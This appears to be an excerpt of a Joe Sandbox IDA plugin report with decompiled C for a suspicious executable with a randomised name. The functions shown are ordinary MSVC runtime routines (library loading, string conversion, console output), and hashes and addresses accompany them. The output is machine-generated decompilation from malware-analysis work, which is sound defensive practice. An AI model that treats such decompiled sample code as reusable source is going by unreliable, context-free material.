___vcrt_FlsGetValue.LIBVCRUNTIME ref: 009ADD8C
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009ADDA5
SetLastError.KERNEL32(00000000,009ADD67,009AD5B2,009ACE00), ref: 009ADDF7

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 16e3ba3ca52fb5e1b468cec61c17e23a5666a31218eebc2a76646bca8396c869
Instruction ID: 4c50d385f76d8263432e85619ad4e8b8fd9ebab99f4d2ed3a4864fb0101ad1ba
Opcode Fuzzy Hash: 16e3ba3ca52fb5e1b468cec61c17e23a5666a31218eebc2a76646bca8396c869
Instruction Fuzzy Hash: 5701D432A1F7125EAB2627B4AC85B672B59EF67B79320422BF121948F0EF114C41A2C0

Uniqueness

Uniqueness Score: -1.00%

Function 009BAD82 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E009BAD82(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					if( *_t40 != 0) {
						_t15 = E009BB787(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						if(_t15 != 0) {
							_t38 = _a8;
							if(_t15 <=  *((intOrPtr*)(_t38 + 0xc))) {
								L10:
								_t16 = E009BAC90(_a16, _t40,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)));
								if(_t16 != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t16 - 1;
									_t18 = 0;
								} else {
									E009B3842(GetLastError());
									_t18 =  *((intOrPtr*)(E009B389C()));
								}
								L13:
								L14:
								return _t18;
							}
							_t18 = E009BAE44(_t38, _t15);
							if(_t18 != 0) {
								goto L13;
							}
							goto L10;
						}
						E009B3842(GetLastError());
						_t18 =  *((intOrPtr*)(E009B389C()));
						goto L14;
					}
					_t41 = _a8;
					if( *((intOrPtr*)(_t41 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = 0;
						_t18 = 0;
						 *((intOrPtr*)(_t41 + 0x10)) = 0;
						goto L14;
					}
					_t18 = E009BAE44(_t41, 1);
					if(_t18 != 0) {
						goto L14;
					}
					goto L5;
				}
				E009BAE6B(_a8);
				return 0;
			}

0x009bad88
0x009bad8d
0x009bada4
0x009badd6
0x009bade0
0x009badf9
0x009badff
0x009bae0d
0x009bae1a
0x009bae21
0x009bae3a
0x009bae3d
0x009bae23
0x009bae2a
0x009bae35
0x009bae35
0x009bae3f
0x009bae40
0x00000000
0x009bae40
0x009bae04
0x009bae0b
0x00000000
0x00000000
0x00000000
0x009bae0b
0x009bade9
0x009badf4
0x00000000
0x009badf4
0x009bada6
0x009badac
0x009badbf
0x009badc2
0x009badc4
0x009badc6
0x00000000
0x009badc6
0x009badb2
0x009badb9
0x00000000
0x00000000
0x00000000
0x009badb9
0x009bad92
0x00000000

Strings

C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe, xrefs: 009BAD9E

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID:
String ID: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe
API String ID: 0-1642467709
Opcode ID: f643e8990bfcf1bec9a390a016e3c2ec8b50258467a02d40270cb7d43ea88035
Instruction ID: 0056071d80e7cfd494ef0f9228eaa24c6d8202e56651b612536c781ac932fcf7
Opcode Fuzzy Hash: f643e8990bfcf1bec9a390a016e3c2ec8b50258467a02d40270cb7d43ea88035
Instruction Fuzzy Hash: 4C21C031604205BFCB21EF658E81AEF77ADEF803747108928F919CB551EB35EC408BA2

Uniqueness

Uniqueness Score: -1.00%

Function 009AEDD7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E009AEDD7(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x9d2f2c + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x9c7c78 + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E009B6B78(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x009aedde
0x009aee52
0x009aede3
0x009aede5
0x009aedec
0x009aedf0
0x009aedf9
0x009aee08
0x009aee11
0x009aee15
0x009aee5e
0x009aee60
0x009aee64
0x009aee67
0x009aee67
0x009aee6d
0x009aee6d
0x009aee59
0x009aee5d
0x009aee5d
0x009aee17
0x009aee20
0x009aee4a
0x009aee4d
0x009aee4f
0x009aee4f
0x00000000
0x009aee4f
0x009aee22
0x009aee2d
0x009aee32
0x009aee37
0x00000000
0x00000000
0x009aee3e
0x009aee44
0x009aee48
0x00000000
0x00000000
0x00000000
0x009aee48
0x009aedf5
0x00000000
0x00000000
0x00000000
0x009aedf7
0x009aee57
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,009AEE98,?,?,009D2ED4,00000000,?,009AEFC3,00000004,InitializeCriticalSectionEx,009C7D6C,InitializeCriticalSectionEx,00000000), ref: 009AEE67

Strings

api-ms-, xrefs: 009AEE27

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 2cff17ed9318c68d926191393ac1d84e473866e91754c9efd4d5419647816ef2
Instruction ID: 85e58de286ba034dbc75cafafbb4eef780254317b907f47a365c888312778b3e
Opcode Fuzzy Hash: 2cff17ed9318c68d926191393ac1d84e473866e91754c9efd4d5419647816ef2
Instruction Fuzzy Hash: A211A931E49221ABDF229BA89C45F5973A8AF07B70F390520F915E72C0D771ED009BE1

Uniqueness

Uniqueness Score: -1.00%

Function 009B5B87 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E009B5B87(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0x9d2008; // 0x9fef24bf
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], 0x9c6884, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0x9c71bc(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x009b5b9c
0x009b5ba7
0x009b5bad
0x009b5bb1
0x009b5bbc
0x009b5bc4
0x009b5bce
0x009b5bd4
0x009b5bd8
0x009b5bdf
0x009b5be5
0x009b5be5
0x009b5bd8
0x009b5beb
0x009b5bf0
0x009b5bf0
0x009b5bf9
0x009b5c03

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,9FEF24BF,?,?,00000000,009C6884,000000FF,?,009B5B5A,?,?,009B5B2E,00000000), ref: 009B5BBC
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009B5BCE
FreeLibrary.KERNEL32(00000000,?,00000000,009C6884,000000FF,?,009B5B5A,?,?,009B5B2E,00000000), ref: 009B5BF0

Strings

mscoree.dll, xrefs: 009B5BB5
CorExitProcess, xrefs: 009B5BC6

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 80b9532772f72754c28fd71b14944d7cdaf5d1613cb83513943dabe15826d0ae
Instruction ID: e5a8147c3385da299cf5f8219bea90112d53186d128fc0d539000a5b7d1517ac
Opcode Fuzzy Hash: 80b9532772f72754c28fd71b14944d7cdaf5d1613cb83513943dabe15826d0ae
Instruction Fuzzy Hash: 83014F71D68665AFDB118F90DD05FAEBBB8FB44B24F054529A811A2290DB749900CF90

Uniqueness

Uniqueness Score: -1.00%

Function 009C0BB4 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E009C0BB4(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				intOrPtr _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				intOrPtr _t46;
				signed int _t49;
				void* _t52;
				signed int _t56;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t73;
				void* _t74;
				intOrPtr _t75;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				intOrPtr* _t96;
				intOrPtr* _t98;
				signed int _t99;
				void* _t100;
				intOrPtr* _t101;
				intOrPtr* _t103;
				void* _t106;

				_push(__ecx);
				_push(__ecx);
				_t41 =  *0x9d2008; // 0x9fef24bf
				_v8 = _t41 ^ _t99;
				_t73 = _a20;
				if(_t73 > 0) {
					_t71 = E009C17CB(_a16, _t73);
					_t106 = _t71 - _t73;
					_t4 = _t71 + 1; // 0x1
					_t73 = _t4;
					if(_t106 >= 0) {
						_t73 = _t71;
					}
				}
				_t77 = _a32;
				if(_a32 == 0) {
					_t70 =  *((intOrPtr*)( *_a4 + 8));
					_t77 = _t70;
					_a32 = _t70;
				}
				_t46 = E009B7FB8(_t77, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t73, 0, 0);
				_t101 = _t100 + 0x18;
				_v12 = _t46;
				if(_t46 == 0) {
					L41:
					_pop(_t92);
					_pop(_t95);
					_pop(_t74);
					return E009AC2E8(_t46, _t74, _v8 ^ _t99, 0x400, _t92, _t95);
				} else {
					_t16 = _t46 + _t46 + 8; // 0x8
					asm("sbb eax, eax");
					_t49 = _t46 + _t46 & _t16;
					if(_t49 == 0) {
						_t96 = 0;
						L39:
						_t75 = 0;
						L40:
						E009BC4FF(_t96);
						_t46 = _t75;
						goto L41;
					}
					if(_t49 > 0x400) {
						_t93 = E009B7F6A(_t49);
						if(_t93 == 0) {
							L13:
							_t96 = _t93;
							if(_t93 == 0) {
								goto L39;
							}
							_t52 = E009B7FB8(_a32, 1, _a16, _t73, _t93, _v12);
							_t103 = _t101 + 0x18;
							if(_t52 == 0) {
								goto L39;
							}
							_t97 = _v12;
							_t75 = E009B8379(_a8, _a12, _t93, _v12, 0, 0, 0, 0, 0);
							if(_t75 == 0) {
								L19:
								_t96 = _t93;
								goto L39;
							}
							if((_a12 & 0x00000400) == 0) {
								_t31 = _t75 + _t75 + 8; // 0x8
								asm("sbb eax, eax");
								_t56 = _t75 + _t75 & _t31;
								if(_t56 == 0) {
									_t98 = 0;
									L37:
									E009BC4FF(_t98);
									goto L19;
								}
								if(_t56 > 0x400) {
									_t98 = E009B7F6A(_t56);
									if(_t98 == 0) {
										goto L37;
									}
									 *_t98 = 0xdddd;
									L28:
									_t98 = _t98 + 8;
									if(_t98 == 0 || E009B8379(_a8, _a12, _t93, _v12, _t98, _t75, 0, 0, 0) == 0) {
										goto L37;
									} else {
										_push(0);
										_push(0);
										if(_a28 != 0) {
											_push(_a28);
											_push(_a24);
										} else {
											_push(0);
											_push(0);
										}
										_push(_t75);
										_push(_t98);
										_push(0);
										_push(_a32);
										_t75 = E009BB787();
										if(_t75 == 0) {
											goto L37;
										} else {
											E009BC4FF(_t98);
											L34:
											_t96 = _t93;
											goto L40;
										}
									}
								}
								E009C3530(_t56);
								_t98 = _t103;
								if(_t98 == 0) {
									goto L37;
								}
								 *_t98 = 0xcccc;
								goto L28;
							}
							_t65 = _a28;
							if(_t65 == 0) {
								goto L34;
							}
							if(_t75 <= _t65) {
								_t75 = E009B8379(_a8, _a12, _t93, _t97, _a24, _t65, 0, 0, 0);
								if(_t75 != 0) {
									goto L34;
								}
							}
							goto L19;
						}
						 *_t93 = 0xdddd;
						L12:
						_t93 = _t93 + 8;
						goto L13;
					}
					E009C3530(_t49);
					_t93 = _t101;
					if(_t93 == 0) {
						goto L13;
					}
					 *_t93 = 0xcccc;
					goto L12;
				}
			}

0x009c0bb9
0x009c0bba
0x009c0bbb
0x009c0bc2
0x009c0bc6
0x009c0bcd
0x009c0bd3
0x009c0bd9
0x009c0bdc
0x009c0bdc
0x009c0bdf
0x009c0be1
0x009c0be1
0x009c0bdf
0x009c0be3
0x009c0be8
0x009c0bef
0x009c0bf2
0x009c0bf4
0x009c0bf4
0x009c0c10
0x009c0c15
0x009c0c18
0x009c0c1d
0x009c0d90
0x009c0d93
0x009c0d94
0x009c0d95
0x009c0da1
0x009c0c23
0x009c0c25
0x009c0c2a
0x009c0c2c
0x009c0c2e
0x009c0d83
0x009c0d85
0x009c0d85
0x009c0d87
0x009c0d88
0x009c0d8e
0x00000000
0x009c0d8e
0x009c0c39
0x009c0c54
0x009c0c59
0x009c0c64
0x009c0c64
0x009c0c68
0x00000000
0x00000000
0x009c0c7b
0x009c0c80
0x009c0c85
0x00000000
0x00000000
0x009c0c8b
0x009c0ca2
0x009c0ca6
0x009c0cc1
0x009c0cc1
0x00000000
0x009c0cc1
0x009c0cb0
0x009c0ced
0x009c0cf2
0x009c0cf4
0x009c0cf6
0x009c0d75
0x009c0d77
0x009c0d78
0x00000000
0x009c0d7d
0x009c0cfa
0x009c0d15
0x009c0d1a
0x00000000
0x00000000
0x009c0d1c
0x009c0d22
0x009c0d22
0x009c0d27
0x00000000
0x009c0d43
0x009c0d45
0x009c0d46
0x009c0d4a
0x009c0d6d
0x009c0d70
0x009c0d4c
0x009c0d4c
0x009c0d4d
0x009c0d4d
0x009c0d4e
0x009c0d4f
0x009c0d50
0x009c0d51
0x009c0d59
0x009c0d60
0x00000000
0x009c0d62
0x009c0d63
0x009c0d69
0x009c0d69
0x00000000
0x009c0d69
0x009c0d60
0x009c0d27
0x009c0cfc
0x009c0d01
0x009c0d05
0x00000000
0x00000000
0x009c0d07
0x00000000
0x009c0d07
0x009c0cb2
0x009c0cb7
0x00000000
0x00000000
0x009c0cbf
0x009c0cde
0x009c0ce2
0x00000000
0x00000000
0x009c0ce8
0x00000000
0x009c0cbf
0x009c0c5b
0x009c0c61
0x009c0c61
0x00000000
0x009c0c61
0x009c0c3b
0x009c0c40
0x009c0c44
0x00000000
0x00000000
0x009c0c46
0x00000000
0x009c0c46

APIs

__alloca_probe_16.LIBCMT ref: 009C0C3B
__alloca_probe_16.LIBCMT ref: 009C0CFC
__freea.LIBCMT ref: 009C0D63

Part of subcall function 009B7F6A: RtlAllocateHeap.NTDLL(00000000,0097231C,?,?,009AC50D,0097231C,?,0097231C,00000000,?,?,9FEF24BF), ref: 009B7F9C

__freea.LIBCMT ref: 009C0D78
__freea.LIBCMT ref: 009C0D88

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 199553e47c3f539b637a255116b8efe6304b970d78f25c439bd6c867927ba178
Instruction ID: a874bc4657812465e8af89fa18f367f72bbd210f473f844178d5419a240c26bc
Opcode Fuzzy Hash: 199553e47c3f539b637a255116b8efe6304b970d78f25c439bd6c867927ba178
Instruction Fuzzy Hash: 3B519472A00206EFEF209EA4CC91FBB7AADEFC4754F15462CFD09D6250EA74DD508661

Uniqueness

Uniqueness Score: -1.00%

Function 009B9863 Relevance: 6.3, APIs: 4, Instructions: 338
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E009B9863(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				signed int _v20;
				char _v28;
				char _v35;
				signed char _v36;
				void _v44;
				long _v48;
				signed char* _v52;
				char _v53;
				long _v60;
				intOrPtr _v64;
				struct _OVERLAPPED* _v68;
				signed int _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				void _v92;
				long _v96;
				signed char* _v100;
				void* _v104;
				intOrPtr _v108;
				char _v112;
				int _v116;
				struct _OVERLAPPED* _v120;
				struct _OVERLAPPED* _v124;
				struct _OVERLAPPED* _v128;
				struct _OVERLAPPED* _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				int _t186;
				signed char* _t190;
				signed char _t195;
				intOrPtr _t198;
				void* _t200;
				signed char* _t201;
				long _t205;
				intOrPtr _t210;
				void _t212;
				signed char* _t217;
				void* _t224;
				char _t227;
				struct _OVERLAPPED* _t229;
				void* _t238;
				signed int _t240;
				signed char* _t243;
				long _t246;
				intOrPtr _t247;
				signed char* _t248;
				void* _t258;
				intOrPtr _t265;
				void* _t266;
				struct _OVERLAPPED* _t267;
				signed int _t268;
				signed int _t273;
				intOrPtr* _t279;
				signed int _t281;
				signed int _t285;
				signed char _t286;
				long _t287;
				signed int _t291;
				signed char* _t292;
				struct _OVERLAPPED* _t296;
				void* _t299;
				signed int _t300;
				signed int _t302;
				struct _OVERLAPPED* _t303;
				signed char* _t306;
				intOrPtr* _t307;
				void* _t308;
				signed int _t309;
				long _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				void* _t314;
				void* _t315;
				void* _t316;

				_push(0xffffffff);
				_push(0x9c68db);
				_push( *[fs:0x0]);
				_t315 = _t314 - 0x74;
				_t177 =  *0x9d2008; // 0x9fef24bf
				_t178 = _t177 ^ _t313;
				_v20 = _t178;
				_push(_t178);
				 *[fs:0x0] =  &_v16;
				_t180 = _a8;
				_t306 = _a12;
				_t265 = _a20;
				_t268 = (_t180 & 0x0000003f) * 0x38;
				_t291 = _t180 >> 6;
				_v100 = _t306;
				_v64 = _t265;
				_v84 = _t291;
				_v72 = _t268;
				_v104 =  *((intOrPtr*)( *((intOrPtr*)(0x9d31b8 + _t291 * 4)) + _t268 + 0x18));
				_v88 = _a16 + _t306;
				_t186 = GetConsoleOutputCP();
				_t317 =  *((char*)(_t265 + 0x14));
				_v116 = _t186;
				if( *((char*)(_t265 + 0x14)) == 0) {
					E009B34B0(_t265, _t291, _t317);
				}
				_t307 = _a4;
				_v108 =  *((intOrPtr*)( *((intOrPtr*)(_t265 + 0xc)) + 8));
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t190 = _v100;
				_t292 = _t190;
				_v52 = _t292;
				if(_t190 < _v88) {
					_t300 = _v72;
					_t267 = 0;
					_v76 = 0;
					do {
						_v53 =  *_t292;
						_v68 = _t267;
						_v48 = 1;
						_t273 =  *(0x9d31b8 + _v84 * 4);
						_v80 = _t273;
						if(_v108 != 0xfde9) {
							_t195 =  *((intOrPtr*)(_t300 + _t273 + 0x2d));
							__eflags = _t195 & 0x00000004;
							if((_t195 & 0x00000004) == 0) {
								_t273 =  *_t292 & 0x000000ff;
								_t198 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc))));
								__eflags =  *((intOrPtr*)(_t198 + _t273 * 2)) - _t267;
								if( *((intOrPtr*)(_t198 + _t273 * 2)) >= _t267) {
									_push(_v64);
									_push(1);
									_push(_t292);
									goto L29;
								} else {
									_t217 =  &(_t292[1]);
									_v60 = _t217;
									__eflags = _t217 - _v88;
									if(_t217 >= _v88) {
										 *((char*)(_t300 + _v80 + 0x2e)) =  *_t292;
										 *( *(0x9d31b8 + _v84 * 4) + _t300 + 0x2d) =  *( *(0x9d31b8 + _v84 * 4) + _t300 + 0x2d) | 0x00000004;
										 *((intOrPtr*)(_t307 + 4)) = _v76 + 1;
									} else {
										_t224 = E009B9404(_t273, _t292,  &_v68, _t292, 2, _v64);
										_t316 = _t315 + 0x10;
										__eflags = _t224 - 0xffffffff;
										if(_t224 != 0xffffffff) {
											_t201 = _v60;
											goto L31;
										}
									}
								}
							} else {
								_push(_v64);
								_v36 =  *(_t300 + _t273 + 0x2e) & 0x000000fb;
								_t227 =  *_t292;
								_v35 = _t227;
								 *((char*)(_t300 + _t273 + 0x2d)) = _t227;
								_push(2);
								_push( &_v36);
								L29:
								_push( &_v68);
								_t200 = E009B9404(_t273, _t292);
								_t316 = _t315 + 0x10;
								__eflags = _t200 - 0xffffffff;
								if(_t200 != 0xffffffff) {
									_t201 = _v52;
									goto L31;
								}
							}
						} else {
							_t229 = _t267;
							_t279 = _t273 + 0x2e + _t300;
							while( *_t279 != _t267) {
								_t229 =  &(_t229->Internal);
								_t279 = _t279 + 1;
								if(_t229 < 5) {
									continue;
								}
								break;
							}
							_t302 = _v88 - _t292;
							_v48 = _t229;
							if(_t229 == 0) {
								_t73 = ( *_t292 & 0x000000ff) + 0x9d2788; // 0x0
								_t281 =  *_t73 + 1;
								_v80 = _t281;
								__eflags = _t281 - _t302;
								if(_t281 > _t302) {
									__eflags = _t302;
									if(_t302 <= 0) {
										goto L44;
									} else {
										_t309 = _v72;
										do {
											 *((char*)( *(0x9d31b8 + _v84 * 4) + _t309 + _t267 + 0x2e)) =  *((intOrPtr*)(_t267 + _t292));
											_t267 =  &(_t267->Internal);
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										goto L43;
									}
									L52:
								} else {
									_v132 = _t267;
									__eflags = _t281 - 4;
									_v128 = _t267;
									_v60 = _t292;
									_v48 = (_t281 == 4) + 1;
									_t238 = E009BF884( &_v132,  &_v68,  &_v60, (_t281 == 4) + 1,  &_v132, _v64);
									_t316 = _t315 + 0x14;
									__eflags = _t238 - 0xffffffff;
									if(_t238 != 0xffffffff) {
										_t240 =  &(_v52[_v80]);
										__eflags = _t240;
										_t300 = _v72;
										goto L21;
									}
								}
							} else {
								_t285 = _v72;
								_t243 = _v80 + 0x2e + _t285;
								_v80 = _t243;
								_t246 =  *((char*)(( *_t243 & 0x000000ff) + 0x9d2788)) + 1;
								_v60 = _t246;
								_t247 = _t246 - _v48;
								_v76 = _t247;
								if(_t247 > _t302) {
									__eflags = _t302;
									if(_t302 > 0) {
										_t248 = _v52;
										_t310 = _v48;
										do {
											_t286 =  *((intOrPtr*)(_t267 + _t248));
											_t292 =  *(0x9d31b8 + _v84 * 4) + _t285 + _t267;
											_t267 =  &(_t267->Internal);
											_t292[_t310 + 0x2e] = _t286;
											_t285 = _v72;
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										L43:
										_t307 = _a4;
									}
									L44:
									 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + _t302;
								} else {
									_t287 = _v48;
									_t303 = _t267;
									_t311 = _v80;
									do {
										 *((char*)(_t313 + _t303 - 0x18)) =  *_t311;
										_t303 =  &(_t303->Internal);
										_t311 = _t311 + 1;
									} while (_t303 < _t287);
									_t304 = _v76;
									if(_v76 > 0) {
										E009AF040( &_v28 + _t287, _t292, _t304);
										_t287 = _v48;
										_t315 = _t315 + 0xc;
									}
									_t300 = _v72;
									_t296 = _t267;
									_t312 = _v84;
									do {
										 *( *((intOrPtr*)(0x9d31b8 + _t312 * 4)) + _t300 + _t296 + 0x2e) = _t267;
										_t296 =  &(_t296->Internal);
									} while (_t296 < _t287);
									_t307 = _a4;
									_v112 =  &_v28;
									_v124 = _t267;
									_v120 = _t267;
									_v48 = (_v60 == 4) + 1;
									_t258 = E009BF884( &_v124,  &_v68,  &_v112, (_v60 == 4) + 1,  &_v124, _v64);
									_t316 = _t315 + 0x14;
									if(_t258 != 0xffffffff) {
										_t240 =  &(_v52[_v76]);
										L21:
										_t201 = _t240 - 1;
										L31:
										_v52 = _t201 + 1;
										_t205 = E009BB787(_v116, _t267,  &_v68, _v48,  &_v44, 5, _t267, _t267);
										_t315 = _t316 + 0x20;
										_v60 = _t205;
										if(_t205 != 0) {
											if(WriteFile(_v104,  &_v44, _t205,  &_v96, _t267) == 0) {
												L50:
												 *_t307 = GetLastError();
											} else {
												_t292 = _v52;
												_t210 =  *((intOrPtr*)(_t307 + 8)) + _t292 - _v100;
												_v76 = _t210;
												 *((intOrPtr*)(_t307 + 4)) = _t210;
												if(_v96 >= _v60) {
													if(_v53 != 0xa) {
														goto L38;
													} else {
														_t212 = 0xd;
														_v92 = _t212;
														if(WriteFile(_v104,  &_v92, 1,  &_v96, _t267) == 0) {
															goto L50;
														} else {
															if(_v96 >= 1) {
																 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t307 + 8)) + 1;
																 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + 1;
																_t292 = _v52;
																_v76 =  *((intOrPtr*)(_t307 + 4));
																goto L38;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L51;
						L38:
					} while (_t292 < _v88);
				}
				L51:
				 *[fs:0x0] = _v16;
				_pop(_t299);
				_pop(_t308);
				_pop(_t266);
				return E009AC2E8(_t307, _t266, _v20 ^ _t313, _t292, _t299, _t308);
				goto L52;
			}

0x009b9868
0x009b986a
0x009b9875
0x009b9876
0x009b9879
0x009b987e
0x009b9880
0x009b9886
0x009b988a
0x009b9890
0x009b9895
0x009b989b
0x009b989e
0x009b98a1
0x009b98a4
0x009b98a7
0x009b98aa
0x009b98b4
0x009b98bb
0x009b98c3
0x009b98c6
0x009b98cc
0x009b98d0
0x009b98d3
0x009b98d7
0x009b98d7
0x009b98df
0x009b98e7
0x009b98ec
